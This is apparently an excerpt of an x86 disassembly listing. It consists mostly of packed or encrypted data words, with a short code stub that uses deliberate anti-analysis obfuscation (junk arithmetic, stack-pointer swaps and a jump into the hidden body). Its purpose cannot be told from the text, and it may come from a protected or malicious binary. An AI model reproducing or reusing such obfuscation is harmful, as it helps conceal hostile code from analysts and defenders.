		dd 0F2C82E54h, 0A5327822h, 0F1F8C3ADh, 39AE0852h, 66EF5D62h
		dd 0A0B69AA5h, 4288B2D2h, 541BBDD5h, 2B3854D1h,	0DBC3517Ch
		dd 0EAFA5E2h, 625C3FA8h, 20B69AA5h, 0C26F0852h,	6756D4EFh
		dd 3B020FE1h, 218B980Dh, 0CEAC604Ah, 34DB8B98h,	9B5E29A2h
		dd 0B9E3AF89h, 61F5D8F0h, 0F6602F66h, 7161F661h, 0D4F7C70Bh
		dd 627066D0h, 0CAEAFF91h, 0AE6DFA5Ch, 0CDABB98Fh, 0D10FC9AEh
		dd 1C2C13EAh, 5EC8803Fh, 6A9DA764h, 8C6EF856h, 0B08F4CDBh
		dd 0D0F28A98h, 0F9C5D2ECh, 8D4EA855h, 2A9C9EB2h, 0EA625F3Ch
		dd 0FEDA2910h, 3509FEC0h, 37AD1F19h, 0DC764849h, 799554DEh
		dd 53CFCDC6h, 2F97ED12h, 3E7C5425h, 2F4CE84h, 33357B24h
		dd 0C9768736h, 0A2EE8E84h, 81F54CD1h, 0BA78113h, 142572EEh
		dd 2817F4CEh, 0C91BA720h, 0F735B3D8h, 460AB548h, 0B964F264h
		dd 9DF6D52h, 0D1A2A9CFh, 0A40FE4Ch, 0FF4F7330h,	2DABD829h
		dd 790433Ah, 0A2FA8290h, 95014CD1h, 0D1A2FD7Bh,	8690064Ch
		dd 0E0DD1BB5h, 0CB75966Ch, 0C2B7B187h, 0AC4CD1A2h, 0D1F331AFh
		dd 8F831481h, 4CD1A2E9h, 0A09284F2h, 0D18F86BAh, 0AF03E44Ch
		dd 5256E5BEh, 0A385C179h, 0E076DCE6h, 0FF7210F6h, 6427FFFFh
		dd 42F4F658h, 0C336254h, 0A257253Dh, 0EF9C4CD1h, 0C77D7BD3h
		dd 455EC75Dh, 37DABA77h, 0DE3F143h, 8A0B3DFCh, 0C95EEAD1h
		dd 9334445Eh, 57BF4CD1h, 8D7EC84Dh, 0A2A695D3h,	0AEC5E8FBh
		dd 5E2D56E5h, 38000000h, 0FAEC5C63h, 0E97A240Ch, 7AEB79D5h
		dd 0A4B29EA1h, 1F33A433h, 4CD1A259h, 302234A2h,	52F1F159h
		dd 50F8C784h, 0CCC651C6h, 4AF1DDACh, 30D5BF37h,	9C6D3EB2h
		dd 1CE577C4h
		dd 8A5360EEh, 0C07F5C44h, 0AA3CB288h, 0F146253Dh, 0B6B54D1h
		dd 57A760h, 27B00000h, 0D1DD4D2Bh, 3620964Ch, 0E97A2440h
		dd 76DF75D1h, 3433855Dh, 0E3F18FF3h, 0B5096072h, 42B452F1h
		dd 0C57A3DC5h, 6D0F5CF4h, 7A70E2DCh, 1D87C379h,	7D3D1E87h
		dd 0B288BE7Eh, 2BBCAA3Ch, 6AE2DFBCh, 0DAC8DE90h, 54D1CAB3h
		dd 0DBCD5D76h, 17D0456Ch, 4716800Dh, 0D9647F8Bh, 0E2197082h
		dd 61583123h, 291011E7h, 731511Fh, 4D3E54C1h, 0F052CC27h
		dd 2033A486h, 0CFEBEF56h, 51B0991h, 4ACAEC73h, 1D7F591Eh
		dd 50CA8CF0h, 7FCCF2A9h, 0CAF41563h, 0EE78DE4Ah, 511EF8h
		dd 7FC80000h, 0A5AFA19Ch, 0A32C3D5h, 1680CCF1h,	0A334A214h
		dd 0CCB322AFh, 0B187EF52h, 0EA625F3Ch, 9392E6FCh, 0F8FF4ACAh
		dd 0E9F96E60h, 4ACA9393h, 0E2AD5FECh, 45CA0AFEh, 0BBE2C3D1h
		dd 7450C9E6h, 0A421AC97h, 0D6709716h, 904624B2h, 0D7C086h
		dd 33F60000h, 0F0AB3C0Ch, 0F47BFFCCh, 0C17207D2h, 0F5DF5553h
		dd 824BF6F3h, 0E1A2523h, 5E5CCA54h, 8839FAE9h, 2CA3A0B8h
		dd 0EE5A613Ah, 18300F0Ch, 9601302Ah, 21184CD1h,	81385927h
		dd 96A2DAC8h, 0CD294CD1h, 7BEC6157h, 0D1961167h, 6A7CDA4Ch
		dd 0DF2FF8A2h, 0B7C25EEFh, 188F188Eh, 46E5938Fh, 4BA4CD1h
		dd 4DF26446h, 84E5FBE9h, 4152CC27h, 7F95B38Ah, 0DAAA98FEh
		dd 0F5ED7AC0h, 54DD8C17h, 54DF7D4h, 9F086E0Fh, 614F01BCh
		dd 2FC38DB0h, 5DEA7385h, 59551A78h, 39000001h, 15F6CC88h
		dd 3D4E2428h, 1AF7C97Dh, 3F4C2624h, 0DFF6CC84h,	311F221Bh
		dd 0E06E523Fh, 133F0112h, 0FB4D6C1Dh, 0D8CA4B05h, 4AF131A0h
		dd 3306D82Bh, 0A1724010h, 3D4AE9Ah, 0CADC7648h,	347A24FCh
		dd 0B322AFA3h, 87EF52CCh, 93C5B7B1h, 0A7B44ACAh, 0AE56C729h
		dd 9CBE50CAh, 0E8000000h, 3E3C0C33h, 62F0D289h,	0BC0D688h
		dd 0CC8F1838h, 6F495BEDh, 0D1A64A79h, 4D6C2F4Ch, 930E9FBh
		dd 99A0713Fh, 8FA9B9AFh, 0A5C6DC49h, 4852CCC7h,	56E814EEh
		dd 5456FAC5h, 8C27355Fh, 0EF65249Fh, 502A281Ah,	839F089Eh
		dd 54DDB40Ah, 7D5EC72Fh, 0D7B48EC2h, 2ED064ECh,	1D5DEA63h
		dd 9ACACBh, 0C97A0000h,	0E7D4B58Bh, 0BE7E8B65h,	0E3D9BA88h
		dd 0C5789967h, 5A9EB58Bh, 8270E0E3h, 0CFA1AD91h, 605200C2h
		dd 0C6BC8CB3h, 0E1978B0Ch, 0EA4AF136h, 1033C599h, 9AA17240h
		dd 33A2D4AEh, 3D3E3C0Ch, 1BF8CA7Eh, 3D4E2424h, 7FF0CA7Eh
		dd 9F9A2264h, 755FFD65h, 2A1BD65Bh, 0F573885Fh,	724008B7h
		dd 0CCAE9AA1h, 5F59F1CFh, 0B7B19FA2h, 594906BAh, 5EA81723h
		dd 0E2D84EA8h, 271AB645h, 6BA92754h, 0A863F454h, 0DD9BB790h
		dd 265EA817h, 423026B0h, 0DCDE6A51h, 31Bh, 0D42ACB00h
		dd 68421233h, 0B6B494ABh, 71470BB5h, 0E8C28CB0h, 4238182Bh
		dd 0D8D27E41h, 4325251Bh, 0DAD07646h, 52282419h, 0E3895394h
		dd 4C381h, 0EB830000h, 241C8704h, 241C895Ch, 81E38953h
		dd 4C3h, 4EB8300h, 5C241C87h, 68242C89h, 2BBEh,	56243C89h
		dd 2080FFBEh, 8BF58906h, 0C4832434h, 3C8B5404h,	4C48124h
		dd 81000000h, 4ECh, 242C8900h, 0FF08478Fh, 835F2434h, 34FF04C4h
		dd 0C4815D24h, 4, 0FBB003E9h, 78B84BFFh, 3062095h, 23E0FFC5h
		dd 0D945543Ch, 375FF81Bh, 0EB584513h, 3BC45B08h, 0E7339C04h
		dd 0E17E977h, 0CD680000h, 0E9062097h, 0FFFAE818h, 20990C68h
		dd 0E80EE906h, 9468FFFAh, 0E906209Ah, 0FFFAE804h, 209B9868h
		dd 0E7FAE906h, 1268FFFAh, 0E906209Dh, 0FFFAE7F0h, 209F7368h
		dd 0E7E6E906h, 2A68FFFAh, 0E90620A1h, 0FFFAE7DCh, 20A28E68h
		dd 0E7D2E906h, 0A6C6FFFAh, 57976C0Bh, 0B8C219B8h, 5A996E11h
		dd 0AECB20BFh, 0DF056807h, 0C16007F2h, 0CAB4E2Ah, 0B857F6F7h
		dd 0EB15423h, 23BA39DCh, 3E38E8EBh, 0E86DD56Dh,	0C87D926Bh
		dd 0B757ED3Eh, 15B25522h, 0CB6E11DEh, 44C70257h, 6007F2C1h
		dd 59517BC0h, 3CCAC4F5h, 0A15DA0A3h, 9ADBC72Ch,	679162FBh
		dd 220C2BC4h, 7437214Fh, 0A16B72F1h, 8006C72Ch,	0E81B36E0h
		dd 9737DE1Bh, 6991E75Dh, 5F71FCh, 0FFD40000h, 54FBF7F1h
		dd 870C39D6h, 0C72CA976h, 59FD7B09h, 22A73ED3h,	4099169Bh
		dd 1F3EC87Dh, 7DDE1FA4h, 13B13EC8h, 48910E95h, 273EC87Dh
		dd 0B73AFDA1h, 7D24B53Ah, 0CD3B3EC8h, 0AE0E2429h, 3ECAC4F4h
		dd 0E732B6BAh, 6FEB8B43h, 0F2073CD9h, 1BC72C81h, 4C84EE81h
		dd 0AFC69AEh, 0E5h, 0E2DC1B78h,	56EF7118h, 0B75620EFh
		dd 778C2C1Eh, 0B3AD37Ah, 0F0883D34h, 670B7839h,	0EA60FD7Bh
		dd 23C6B146h, 0CE4BB8Ah, 0FA79CC69h, 3EC82EE3h,	0E68A087Eh
		dd 0C13EE611h, 3EC82E38h, 0D06FF157h, 0C829418Bh, 0D376813Eh
		dd 2DD09F34h, 853F8690h, 0C833FFFEh, 9E3D393Eh,	3BC94901h
		dd 43B936BDh, 0D5C4F51Dh, 0BE4EF1FEh, 9CADBB37h, 82BE6242h
		dd 2CB16504h, 0D9B169Dh, 486CBB04h, 959A3EBCh, 3D13A7F3h
		dd 905FE664h, 0C81FC269h, 9D360AB1h, 0A743C335h, 0BAEF4E6h
		dd 1E4E0000h, 0DF0FE483h, 304AA140h, 0E211E689h, 2653A847h
		dd 677DE07Fh, 49E88F6Ah, 8423C6B2h, 40DF7E6Fh, 8629CCABh
		dd 0AB32B154h, 0C638E8EAh, 0DE1B5DE5h, 0DA731AE0h, 7D15E46Bh
		dd 0DE6C3EC8h, 0A43BDE5Ch, 0C48928CBh, 0B95D00EFh, 22A73E73h
		dd 0AE1E149Bh, 43C1C4F4h, 0B24499AAh, 0B1C2C72Ch, 7B7A7916h
		dd 0F1AB43DCh, 5C4A305Eh, 8135AB15h, 0CA99FC69h, 0C9730CABh
		dd 0A1B90B29h, 3DE15F59h, 0FA84h, 0B47B0100h, 6634E4C3h
		dd 1B181EC2h, 579C39DCh, 0B883651Ah, 8411F2EBh,	8720BFAFh
		dd 0F1BE45C3h, 73C96605h, 0EB9C44CCh, 0B95DDB58h, 0E929E360h
		dd 0EE93EC8h, 0A064E86Bh, 0C76B08BFh, 875CBB5Bh, 0BA3EC568h
		dd 4C2AC905h, 0AA3A10ADh, 80201E62h, 0DFEA6FA7h, 0D75CD95Ch
		dd 3EC8BB06h, 0BA599459h, 29939838h, 0C2C4F595h, 7F2C144h
		dd 0CB6A8B60h, 99781832h, 4B921194h, 26C72DE5h,	82EDE292h
		dd 0EA68C42Ah, 0AE47E211h, 0B30AFC9Ch, 1108F16h, 0E03D132Ch
		dd 2C1FDE65h, 0D472CD00h, 0F900CF56h, 0BD5AFDFBh, 976C0B8Dh
		dd 0E8EA55Ah, 7ED70856h, 0E0952CFCh, 0DAB343CCh, 0A6F00h
		dd 42DD0F00h, 8F2E489Fh, 38DF1BF0h, 96314299h, 6E15DCF3h
		dd 0DDF4A6CBh, 35CA6D14h, 0E2F9983Bh, 0FED57413h, 37AB4EF1h
		dd 0E4C6179Ch, 0D09938E8h, 5C966DF2h, 0B5BC11B5h, 5B946B0Eh
		dd 1B1119B8h, 579C39DCh, 4FD27518h, 1C998CC9h, 0EC8C4B1Ah
		dd 9F26A33Ah, 0F537F620h, 0C1AD82C4h, 44C27E22h, 0AAC59AABh
		dd 3CDC6E07h, 2D25E5F7h, 59531DC7h, 69E17E1Dh, 78F74EE7h
		dd 0C72D2561h, 0C8B18A00h, 6BB38421h, 0AB32B1E4h, 0C6C72D25h
		dd 2ED8C240h, 0D83B923h, 56D5FC6Ah, 2D000006h, 9B22A73Eh
		dd 0F55F0A14h, 0B437CDC4h, 0F5946231h, 9069F258h, 0EFC72CA3h
		dd 0E75CB559h, 0C72CA312h, 0A542E10Ch, 0E67F224Eh, 4977FA24h
		dd 40AAC55Fh, 0FC699408h, 61C4Eh, 0A73EB400h, 99169B22h
		dd 3EC87D40h, 4205A91Fh, 0F5529FBDh, 0B2C3B0C4h, 52D07A13h
		dd 30C946CBh, 0F6C72CAFh, 91B956F9h, 3AD37311h,	2CAFF409h
		dd 0EC8321C7h, 6E09EAB9h, 1BD579D1h, 0FC6987A5h, 5D8B3h
		dd 549C0F00h, 0B83B8ED3h, 0E887663Dh, 599D0348h, 982EC4F5h
		dd 8ACA28A3h, 138EBB1Bh, 0F18E353Ch, 0CE09D059h, 0E2685307h
		dd 5475CC3Eh, 0E28052D1h, 6DDBA93Ah, 0CAFF46D0h
		dd 0B841BE43h, 0D7597CFAh, 58ACD71h, 0A3402111h, 0D0AE199Fh
		dd 236EAF16h, 0FEAC783h, 8C63EA68h, 1C21C063h, 0EC892447h
		dd 4A25BA5Eh, 6A22D7A7h, 1BF4D19Dh, 8E7BFh, 0CA658700h
		dd 7A6D027h, 0C0679368h, 0EA9CA21h, 0B65D946Bh,	25AC2E13h
		dd 0ED02A54Ch, 2AC16003h, 0F60DAC4Bh, 0FFB356F9h, 0E7FEFF84h
		dd 989138E8h, 39DC1B2Ah, 0E6E37A9Ch, 0CB11E05Fh, 0DA70C4EBh
		dd 173DF037h, 24B2C717h, 0DA7D204Fh, 8455DA57h,	82C71717h
		dd 0F056D671h, 3E83DE50h, 175938B7h, 42C8C717h,	7E214EA5h
		dd 0E4F57AF7h, 7BC71717h, 87CA690Dh, 831CBFB8h,	75040DB9h
		dd 42C07DCAh, 0B17533B2h, 1DC19F33h, 17A43518h,	832253C7h
		dd 38E00FE4h, 17A422BBh, 690CE4C7h, 88FE7ECCh, 3D66D0Ah
		dd 0F8C717B4h, 0A9C64B26h, 638C6306h, 0D91C27C0h, 57C717A4h
		dd 18DB741Bh, 0BE9D3AE1h, 753361F0h, 6D6CF36Eh,	4C717A4h
		dd 3938E286h, 7918BBB4h, 10249h, 0DC1BBF00h, 16579C39h
		dd 9465DE77h, 923EC87Dh, 0F125C265h, 49E8066Ch,	36BF44C7h
		dd 49C4EBCBh, 8960EBBBh, 0D15E49DBh, 7E309h, 0D6718300h
		dd 33D29C33h, 8C333F94h, 3AD516EDh, 92394097h, 79588AEFh
		dd 0A136D980h, 3E9534D7h, 1AF1902Fh, 23973ADDh,	0E6DA23A0h
		dd 0F4B538E8h, 2BDC1B4Eh, 43F34983h, 16AF31B7h,	0CA6D14DDh
		dd 0F6993835h, 0F07316E1h, 0EB25523h, 0FAA1D82Fh, 0B45B965Dh
		dd 0F4936231h, 0E76CEF5Bh, 3EC81D16h, 0E23BDB69h, 6FA2AD79h
		dd 0AD32D6A0h, 3EC81D2Ch, 0A343C543h, 0DD7C234Eh, 8511AB21h
		dd 0FA952302h, 571DE2F2h, 7BCF599h, 46000000h, 7B02h, 0DC1B5800h
		dd 920CE62Bh, 2AFF9273h, 8F28AA4Dh, 0C88721B4h,	89C8F63Eh
		dd 8554DB56h, 0D53EC8C7h, 0C8C78F4Eh, 0E864E23Eh, 8554DB62h
		dd 0DC3EC8C7h, 3A35CA6Eh, 12E3F897h, 9369DA73h,	0CA3EC8C7h
		dd 6590155Ch, 1B1B23C6h, 3DB83BDAh, 0C87D27B6h,	2CCC3A3Eh
		dd 7615E013h, 9DB482D9h, 9B3EDD18h, 0C875BF94h,	0EF66203Eh
		dd 6B0284ADh, 0FFFFFED6h, 59966DD7h, 5AA412B6h,	1E000003h
		dd 9C39DC1Bh, 0C87DA2A7h, 7312DC3Eh, 15E46BDAh,	6C3EC87Dh
		dd 47EA05DEh, 9FB25CAEh, 0D09F8971h, 7AAC69Dh, 0A73CDC6Eh
		dd 6D8225C8h, 0FF46DF82h, 0BA44730h, 0B79A9F3Fh, 0D13EC87Dh
		dd 0DB6A03A6h, 8554DB56h, 0DC3EC87Dh, 7D14E56Eh, 0DD6B3EC8h
		dd 0EC90844Dh, 9737FC3Fh, 62E9E065h, 0EBFC14DDh, 9DD6BC4h
		dd 49DB4248h, 697D5D32h, 9000006h, 5AB150EBh, 5DA7D1Ch
		dd 4CA346EDh, 0EE5841Fh, 0B89D3CE3h, 1BC2AF22h,	0E689677Ch
		dd 22C1AC43h, 0EC8F687Fh, 75FA994Dh, 38E8E064h,	1B9032FBh
		dd 579C39DCh, 0FFD4731Ah, 55AA4DF0h, 73EE751Ch,	0C87DEDECh
		dd 7F06843Eh, 0C87DF900h, 8E32983Eh, 8C333EB5h,	57E568F3h
		dd 6E97EA2Fh, 56C0602Ch, 0D47B76FBh, 0C983B935h, 7AD50284h
		dd 2D000002h, 811EA33Eh, 0D97C2DC2h, 2928D63Fh,	95B689BFh
		dd 263CF03h, 3E330000h,	7A6C7A3h, 7C7D0289h, 133EC87Dh
		dd 0E86DD875h, 0C87D926Bh, 8257ED3Eh, 2B30D077h, 3FD97CC4h
		dd 96004F2Dh, 395B75Eh,	6D6CF36Eh, 0AB3FD974h, 18AB27CEh
		dd 0D974429Bh, 29A71D3Fh, 21F4C85h, 3EB60000h, 439A19A3h
		dd 0C53EC87Dh, 0DB6F08ABh, 7459E95Fh, 0C24AE411h, 0F8C74ECCh
		dd 89C15EFDh, 7E22C9B0h, 875934BBh, 4AC03EC8h, 865196ADh
		dd 0EC9A3FD9h, 0B0C5FB65h, 3A090396h, 4EFC9940h, 1DB31AAh
		dd 6D910000h, 12B65996h, 0E96C55E0h, 0C87D6B6Ah, 0F790F63Eh
		dd 0D97C9B4Ch, 0B7BA643Fh, 95B7174Dh, 1B74103h,	1BC10000h
		dd 579C39DCh, 20D27518h, 28AD3099h, 0F67B1A5Bh,	3EC87DE7h
		dd 0E96C0C7Ah, 0F559A06Ah, 1228B4C4h, 97ECD6F4h, 0AD82BE62h
		dd 0C08A23BEh, 5B9EA542h, 0D5C72CBAh, 975CF998h, 2418B558h
		dd 0CEFD0D8Bh, 0D806C427h, 97856B99h, 0F5F66ED8h, 4060FC68h
		dd 0E2000000h, 9B22A73Eh, 89304916h, 0AE4260E5h, 9B16C4F4h
		dd 2CB2C514h, 0A72E9CC7h, 2CB2D128h, 761AB0C7h,	92B34CBAh
		dd 1C909406h, 0C165FD71h, 2C47797Ch, 79F8A6C7h,	68EBD90Fh
		dd 0E17FFCh, 1B030000h,	579C39DCh, 6CF0731Ah, 0AA58DA10h
		dd 0A37C1C0Eh, 0EB842750h, 0C94CEF08h, 5636C74Ch, 0BB493EC8h
		dd 5622BB38h, 0C73D3EC8h, 89430827h, 493EC851h,	84088B2Eh
		dd 7589A6DFh, 267F0B50h, 68954A51h, 0ABAE8D31h,	7688C71Dh
		dd 254ADA75h, 0BFDA1B3h, 12B1BCB6h, 0D053D575h,	0F63CC053h
		dd 0A62D9BC4h, 0A82AC022h, 933381C3h, 15901590h, 2BC64F8Eh
		dd 1FA422C7h, 0C72BC6DEh, 5E7313B1h, 0B64DEC93h, 0DB4BDBBh
		dd 310F397Dh, 0B436C2C0h, 0E79E75E4h, 706A4349h, 408h
		dd 8E31CCA8h, 3BDE7D79h, 8827CEA4h, 42E58073h, 7A1DC4ADh
		dd 0E50CC5D7h, 2C449B3Eh, 0E411E689h, 224DA245h, 67EEE07Fh
		dd 0E8E211E8h, 0C37F7038h, 9837DE1Bh, 0A913443h, 0F8953C35h
		dd 732FC252h, 18A2A2D5h, 1B919978h, 579C39DCh, 4EAC6718h
		dd 0F9A77DD4h, 3AB85320h, 740FDCB3h, 892DD09Fh,	0A52AA7AAh
		dd 3EC82C54h, 34F99D2Bh, 3EC82CA6h, 0F97D3E83h,	0AA5128A4h
		dd 8BAD3D0Dh, 6CEF718Ah, 0F5F58DE7h, 9938CEC4h,	0E2DC1B91h
		dd 72D87514h, 0D39C57F0h, 97D6AD30h, 0A14B6CF8h, 0D9D8232Dh
		dd 9D24D635h, 0E02AA92Ch, 7BC4F589h, 7B14BBB6h,	5CDE7D78h
		dd 2FC86787h, 43009D1Bh, 0C72DD1BEh, 48B2BD67h,	0FC6A6210h
		dd 4546h, 0A73EBC00h, 49169B22h, 973A362Ch, 31CE4CFEh
		dd 0F2B07519h, 6DC4F4AEh, 0B28C4DD2h, 65E3C72Ch, 72080AD5h
		dd 4DCB3EA7h, 3A4E93B0h, 0CDB7C72Ch, 4DD24F82h,	0C72C3A8Ch
		dd 47C165E3h, 0FC68F911h, 0FB47h, 0DC1BBB00h, 1A579C39h
		dd 1BB44F1Ch, 7C1B5A2Fh, 0CFA877FEh, 17B7932Ch,	73C147FEh
		dd 62B8F398h, 0AAC51ABEh, 0DAF88407h, 0B8D0BEE4h, 6A89A246h
		dd 47EA8Dh, 3EC8BACAh, 0C269915Eh, 0BAEC91Eh, 0B558976Ch
		dd 5467FE18h, 0FF3FFAA9h, 0B24D1ECEh, 0A42BB230h, 0C4F55786h
		dd 8606C652h, 0EDFD896Eh, 0D8770D49h, 0A32A9F26h, 12EE8D1Ch
		dd 5BE1643Dh, 0A3052BA1h, 499019CAh, 28CD0E1Eh,	0F3D87594h
		dd 139566DFh, 678A0E95h, 31E54D20h, 16B9B68Bh, 2A2DD179h
		dd 0D2751C55h, 794DF4FDh, 43C28914h, 51F9E1AEh,	0F1000002h
		dd 32C96803h, 0ED02A544h, 24BB5E05h, 0F60DAC47h, 90B554FBh
		dd 3AAC70Ah, 0BE618F64h, 0AA9C41Bh, 0C4679067h,	8D12B125h
		dd 38E8DC4Ch, 6D784A23h, 3534D1DFh, 0C569CAB3h,	0FFA24930h
		dd 98670FE8h, 0A534BD60h, 0BC3EC89Eh, 9E33CA49h, 0B84E3EC8h
		dd 1119B83Ah, 9B22A73Eh, 0F4AE1E14h, 0C043C1C4h, 0B23FBE45h
		dd 5D52C72Ch, 0F456EF92h, 0A39D276h, 0C72CB2F7h, 209F4731h
		dd 0C72CB2D9h, 37D052B8h, 350EB5BCh, 0DFD9A39h,	786290DFh
		dd 6D14DEB5h, 0EFEE75D0h, 82C72CB2h, 38E28604h,	3A390639h
		dd 0CF05FF9Fh, 89FC6980h, 0F7h,	8DF6DF9h, 943B374Fh, 8C00FA08h
		dd 35D817ECh, 7316E1AEh, 0C0B93AD3h, 900F9219h,	3EC84A49h
		dd 9D12A228h, 59830BF5h, 7FC45D01h, 3EC81C4Dh, 44C76A85h
		dd 1CBB42C1h, 70D63EC8h, 5D9A71D0h, 5B281DBAh, 2ADC7C1Bh
		dd 32AF3693h, 0C81C2CADh, 21C5433Eh, 0A6CCA31Eh, 912ECDA8h
		dd 0AC9E37B9h, 3F65470Ch, 72EFC4F5h, 2D3DECEDh,	610583C7h
		dd 4EC05FE5h, 0DB7A7BF7h, 38A0842h, 146FA7Eh, 0BEF4262Eh
		dd 0DA6AC0B4h, 68083E8Ah, 132EB5E3h, 0BD40C63Dh, 3676B438h
		dd 0BDA9B9F2h, 6ADC419h, 24C7B07Fh, 1FBF8Bh, 97670EEBh
		dd 43CCB534h, 0ED2DAD82h, 8D000000h, 0CE25C45Fh, 895E01A0h
		dd 0D027CA71h, 926908A3h, 3C21C067h, 0A74E2BA6h, 6205F308h
		dd 0AE4D28BFh, 58FBF40Bh, 17E05B9h, 38E8DFF8h, 1BECD697h
		dd 439837DEh, 6BEE9134h, 19B65D94h, 1BC78D31h, 579C39DCh
		dd 20D27518h, 26AD3099h, 0C4EBCBDBh, 648F289Eh,	0B249E88Bh
		dd 61A214C5h, 0A3F7406h, 6354EF88h, 0E1C12BE5h,	81A7D864h
		dd 72BB5409h, 22BB5E99h, 0D39E8828h, 75841CA0h,	5DDC19F4h
		dd 0A84B24B9h, 0B05F209h, 837348EFh, 81FF4BE4h,	0E1F877FAh
		dd 27C90C60h, 9125A548h, 0D28BC31Bh, 0C266E47Bh, 0CE698A69h
		dd 0DC7F7847h, 0FD27E33Ch, 5102ED72h, 3F2D672h,	4EF16F50h
		dd 0ACC4BEB9h, 3A7E7F04h, 7311C90Ch, 70F258F5h,	0D8A16ED7h
		dd 7BFD9CDAh, 1AC868E2h, 10h, 6871EE73h, 0AEC90C3Ah, 26A420BFh
		dd 0BC86BC82h, 0A13ED91Bh, 0E5822552h, 0A740DF0Eh, 0E481244Ch
		dd 0A23BE20Fh, 0E4812851h, 0A441DC0Fh, 0E37C234Fh, 0AE47E610h
		dd 59545124h, 4C181h, 0E9830000h, 240C8704h, 4EC835Ch
		db 89h,	3Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		push	ebx
		mov	ebx, 6209655h
		push	esi
		mov	esi, ebx
		mov	edi, esi
		pop	esi
		pop	ebx
		push	esp
		mov	ecx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edi
		add	dword ptr [esp], 92D608Bh
		pop	dword ptr [ecx+8]
		sub	dword ptr [ecx+8], 92D608Bh
		mov	ecx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		jmp	loc_53531C
; ---------------------------------------------------------------------------
		dw 86F6h
		dd 0A3A0B8A4h, 0C5030620h, 73CDE0FFh, 6EEE0D4Ah, 9AD970A1h
		dd 3014784Eh, 0DF2A566Ah, 493E092Eh, 6754199Bh,	0BD081B52h
		dd 2DEB6B51h, 0
		dd 0BFAE0DD0h, 0DFF2319Ch, 0A7A5ADF9h, 75528C88h, 0BE00B7FBh
		dd 0E5ADF99Ch, 9D89937Eh, 26816800h, 0B2BD1467h, 44155A03h
		dd 0B13E922h, 7A680000h, 0E90620A5h, 0FFFAD9A4h, 20A6C968h
		dd 0D99AE906h, 0C668FFFAh, 0E90620A7h, 0FFFAD990h, 20A88268h
		dd 0D986E906h, 6F68FFFAh, 0E90620A9h, 0FFFAD97Ch, 20AA6A68h
		dd 0D972E906h, 668FFFAh, 0E90620ABh, 0FFFAD968h, 20ACC968h
		dd 0D95EE906h, 0EE68FFFAh, 0E90620ADh, 0FFFAD954h, 0EE912C48h
		dd 9B3EDD19h, 0E8872E44h, 0A245E013h, 0DA7D244Dh, 856C6577h
		dd 0CCA43BDEh, 84718629h, 0C2AD42E5h, 0C74E801Fh, 0E8D9B148h
		dd 63DFD038h, 9B22A73Eh, 8895D90Dh, 5144D06Bh, 1E21C569h
		dd 58A11EA3h, 373EC8FCh, 4D282DD1h, 14C4EB58h, 5720EF76h
		dd 986231B4h, 52F654F1h, 59531CB3h, 67E37C1Fh, 73CA4CE9h
		dd 0FCFAECFFh, 88AC05Dh, 0D65DDB6Fh, 0B24BEE09h, 0AE35F898h
		dd 3D340496h, 2BCAA489h, 0B33AB892h, 0D17013DCh, 0FD9A3D3Ah
		dd 7E05C419h, 4A4A7701h, 0AE820837h, 5DA0DAF9h,	5E9842CBh
		dd 0A1000009h, 429938D3h, 0DDF29534h, 34CB6E15h, 0E6FD9C37h
		dd 0A0C5640Bh, 0F39AD7FAh, 0CE717F54h, 0FA99D42Bh, 0D4778057h
		dd 7D028135h, 38E8D87Ch, 1BA81A13h, 7413E2DCh, 0DAA06FF6h
		dd 10B09A33h, 10B3BC37h, 0A128BD71h, 5977951Ah,	62E8C4F5h
		dd 63324DDBh, 0A6BD3CC3h, 36D4C72Ch, 2EC7AA6h, 7823BC65h
		dd 0DC7CFEB0h, 16FD0043h, 7C2AC72Ch, 21558BF5h,	4903FC69h
		dd 82000000h, 6B579FFh,	0A55B2FDDh, 2CF8DD1Ch, 7216B4C7h
		dd 0B5DF6DACh, 3AAD0B0h, 4354E06Ah, 0F48F5CABh,	0CD71EF5Bh
		dd 40C3065Bh, 0F42DE1C3h, 730C7AC4h, 51F0FDD2h,	2C55A8ADh
		dd 0E4C2C72Dh, 2AD238Dh, 0D1ABFC6Ah, 17000000h,	7564E86Dh
		dd 9D9F3EAh, 4BC7169Bh,	2C9A3EC8h, 0D578778Ch, 17BEBB38h
		dd 0FDF8C77Eh, 0E589C15Eh, 0AB44E710h, 0ED8C2F48h, 0C84F9066h
		dd 0CA6D8A3Eh, 4A7D027h, 0D857DA6Bh, 3EC84F01h,	0D446EA60h
		dd 3AB93C8Dh, 0C4F561C0h, 0E266ED5Bh, 0B5AFDEAh, 0A7463054h
		dd 1ABE3C0Eh, 17B207FBh, 0E28B1194h, 1F60C608h,	4EF5FDD6h
		dd 30F599B1h, 3D13821Eh, 0E8F16E11h, 87CD0FCEh,	27FC7F01h
		dd 0EF04A34Ah, 608B5B02h, 5E43C342h, 80F09D1h, 22520000h
		dd 0E313E887h, 244EA544h, 0E605DA7Dh, 1A57AC4Bh, 6B71D473h
		dd 45E48B66h, 801FC2AEh, 4CEB8A6Bh, 7215B8B7h, 0BF3EC540h
		dd 0D238E8DBh, 0DF6D69D9h, 0BC6DEFF9h, 0C91EC2E2h, 916609B0h
		dd 1E24C366h, 9B22A73Eh, 49219216h, 7C860A87h, 105D57DCh
		dd 88FEC4F4h, 0F08154EFh, 906EC72Dh, 3EE157C1h,	0DF77FC6Ah
		dd 0CB000000h, 0AF34DC1Bh, 3EC87D2Eh, 0FDEEC341h, 0D85DE062h
		dd 0C87D825Bh, 0E467DD3Eh, 0C87D9E5Fh, 0B353F13Eh, 0DE14EB5Ah
		dd 1A559E37h, 0EE6CDE77h, 15BCB54Ah, 7935CB78h,	2ED3EC8h
		dd 0A67DC05Fh, 0BB8F28C7h, 0F8A9C61Bh, 9C2CE544h, 3FD85A7Fh
		dd 2D3982D7h, 0C3628C02h, 21836B37h, 0CA991C9Fh, 0E56A0EA9h
		dd 3B0AEF77h, 2BDF8208h, 740FDC96h, 5E9A6FDBh, 0E9B63DBBh
		dd 8CCF6F0Ah, 12563E07h, 0C043C13Dh, 0C05F06F3h, 0D7A74E2Bh
		dd 43C21AB6h, 122BAF80h, 55000007h, 6DD7C17h, 51A649E8h
		dd 8DF8229h, 5AB150EBh,	74D9781Fh, 0EF96636Eh, 1ABDBB50h
		dd 0F6956077h, 0D0737C53h, 9916BD31h, 38E8DA40h, 1B744E1Fh
